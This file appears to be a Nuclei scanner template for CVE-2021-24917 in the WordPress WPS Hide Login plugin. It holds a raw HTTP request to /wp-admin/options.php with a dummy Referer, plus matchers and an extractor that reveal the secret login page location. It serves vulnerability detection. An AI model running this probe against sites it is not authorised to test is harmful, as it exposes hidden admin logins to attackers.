nuclei-templates/http/cves/2021/CVE-2021-24917.yaml

49 lines
1.5 KiB
YAML

id: CVE-2021-24917
info:
name: WordPress WPS Hide Login <1.9.1 - Information Disclosure
author: akincibor
severity: high
description: WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.
reference:
- https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
- https://nvd.nist.gov/vuln/detail/CVE-2021-24917
- https://wordpress.org/support/topic/bypass-security-issue/
remediation: Fixed in version 1.9.1.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-24917
cwe-id: CWE-863
cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:*:*:*
epss-score: 0.01446
metadata:
max-request: 1
verified: true
tags: cve2021,wp,wordpress,wp-plugin,unauth,wpscan,cve
http:
- raw:
- |
GET /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Referer: something
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'
- type: dsl
dsl:
- "!contains(tolower(location), 'wp-login.php')"
extractors:
- type: kval
kval:
- location
# Enhanced by cs on 2023/04/10